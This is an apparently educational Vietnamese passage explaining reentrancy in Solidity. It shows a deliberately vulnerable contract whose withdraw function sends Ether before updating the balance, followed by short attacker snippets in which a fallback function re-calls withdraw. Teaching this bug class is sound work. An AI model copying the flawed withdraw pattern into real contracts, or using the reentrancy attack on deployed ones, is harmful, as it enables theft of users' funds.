Hàm fallback1 có thể gây ra một lỗ hổng phổ biến và nghiêm trọng: reentrancy.

Xét contract dưới đây:

contract FallbackVulnerability {
    mapping (address => uint) private balances;
    
    function deposit() public payable { 
        balances[msg.sender] += msg.value;
    }
    
    function withdraw(uint _amount) public { 
        if (balances[msg.sender] >= _amount) { 
            msg.sender.call.value(_amount)(""); 
            balances[msg.sender] -= _amount;
        }
    }
}

Để khai thác contract này, đầu tiên attacker sẽ gọi hàm deposit để đăng ký địa chỉ của hắn vào mapping balances cũng như là gọi hàm withdraw lần đầu tiên

function attack() {
	FallbackVulnerability.deposit{value: 1 ether}();
	FallbackVulnerability.withdraw(1 ether);
}

Sau đó, attacker sẽ tạo ra một hàm fallback mà có gọi sử dụng hàm withdraw của contract FallbackVulnerability:

fallback() external payable {
	FallbackVulnerability.withdraw(1 ether);
}

Câu lệnh msg.sender.call.value(_amount)(""); ở trong hàm withdraw sẽ gọi hàm fallback và hàm này sẽ tiếp tục gọi withdraw. Việc này sẽ ngăn cho câu lệnh balances[msg.sender] -= _amount; được thực thi. Dẫn đến, tài khoản của kẻ tấn công luôn thỏa điều kiện ở trong câu lệnh if.

Attack cũng có thể sử dụng hàm receive thay cho fallbackFallbackVulnerability chỉ gửi msg.value mà không gửi msg.data.

Footnotes

  1. Xem thêm Fallback.